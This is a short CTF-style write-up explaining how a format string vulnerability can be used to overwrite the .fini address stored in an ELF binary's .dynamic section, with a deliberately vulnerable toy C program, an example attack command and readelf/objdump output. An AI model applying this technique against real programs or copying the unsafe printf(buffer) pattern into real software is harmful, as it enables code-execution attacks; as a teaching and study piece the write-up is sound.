Bypassing ASLR: Overwriting The .dynamic Section

I was recently confronted with a software exploit challenge on a CTF website that took me much more time to flag that I would have expected at first. The solution was closed to another one I knew but which was not working. I will provide a quick write-up of this method because I still cannot find any mention of it in any paper online, despite its simplicity. I hope it will help someone save some precious brain cycles.

Source code

I do not want to spoil that website’s challenge so I will present a different source code:

#include <stdio.h>
#include <string.h>

void flag(void)
{
    puts("You win!");
}

int main(int argc, char *argv[])
{
    char buffer[100];

    if (argc < 2)
        return -1;

    strncpy(buffer, argv[1], sizeof(buffer) - 1);

    printf(buffer);

    return 0;
}

We are obviously facing a format string vulnerability and what we want to do is calling the flag function.

We could overwrite the saved return value in the main‘s stack frame. As ASLR is on, we are only allowed a single write with something like (N being the relevant offset to reach saved EIP):

user@host:~$ ./binary JUNK%1234x%N\$n

I mean that we cannot use the well-known method of %hhn (or %hn) to write the 4-bytes-long address of flag one after another. And the address is as always a way too high hexadecimal value so we cannot write it in one go. But anyway, that is not an issue here since we only need to overwrite the two least significant bytes due to address proximity between code segment’s objects. This is too easy but it works.

Another classic way of dealing with this kind of challenge is rewriting the .dtors ELF section (see here if you don’t know about it). But for a reason I still ignore, that was not working on that platform.

Solution: the .dynamic ELF section

When I asked about that on IRC, someone told me that whatever the problem was with .dtors, there was another ELF section that was working for him. So I kept looking for writable ELF sections in that binary and tried to overwrite them.

user@host:~$ readelf -S binary | grep WA
  [18] .ctors            PROGBITS        0804967c 00067c 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08049684 000684 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        0804968c 00068c 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049690 000690 0000d0 08  WA  7   0  4
  [22] .got              PROGBITS        08049760 000760 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049764 000764 000028 04  WA  0   0  4
  [24] .data             PROGBITS        0804978c 00078c 000008 00  WA  0   0  4
  [25] .bss              NOBITS          08049794 000794 000008 00  WA  0   0  4

Overwriting the GOT is another classic trick but this is not useful in our case since no library function is called after the vulnerable call to printf. The only interesting section remaining is .dynamic. This section holds dynamic linking information.

user@host:~$ objdump -s -j .dynamic binary

binary:     file format elf32-i386

Contents of section .dynamic:
 8049690 01000000 10000000 0c000000 48830408  ............H...
 80496a0 0d000000 2c860408 04000000 6c810408  ....,.......l...
 80496b0 f5feff6f a4810408 05000000 54820408  ...o........T...
 80496c0 06000000 c4810408 0a000000 71000000  ............q...
 80496d0 0b000000 10000000 15000000 00000000  ................
 80496e0 03000000 64970408 02000000 38000000  ....d.......8...
 80496f0 14000000 11000000 17000000 10830408  ................
 8049700 11000000 08830408 12000000 08000000  ................
 8049710 13000000 08000000 feffff6f d8820408  ...........o....
 8049720 ffffff6f 01000000 f0ffff6f c6820408  ...o.......o....
 8049730 00000000 00000000 00000000 00000000  ................
 8049740 00000000 00000000 00000000 00000000  ................
 8049750 00000000 00000000 00000000 00000000  ................

If you open GDB and try to find out where all those little endian addresses are pointing to, you will find interesting things like the GOT address or, most importantly, the address of the .fini section (0x0804862c) at 0x080496a4. The address of that section is registered in the .dynamic section so that the linker can make the program run code from that section when it exits. That’s all we were asking for. Replace this address by the flag function address using classic %hn format string trick, and you will see a nice You win! on your screen.

As I said at the beginning, this is not much. But that makes an alternative to the .dtors overwriting method when needed.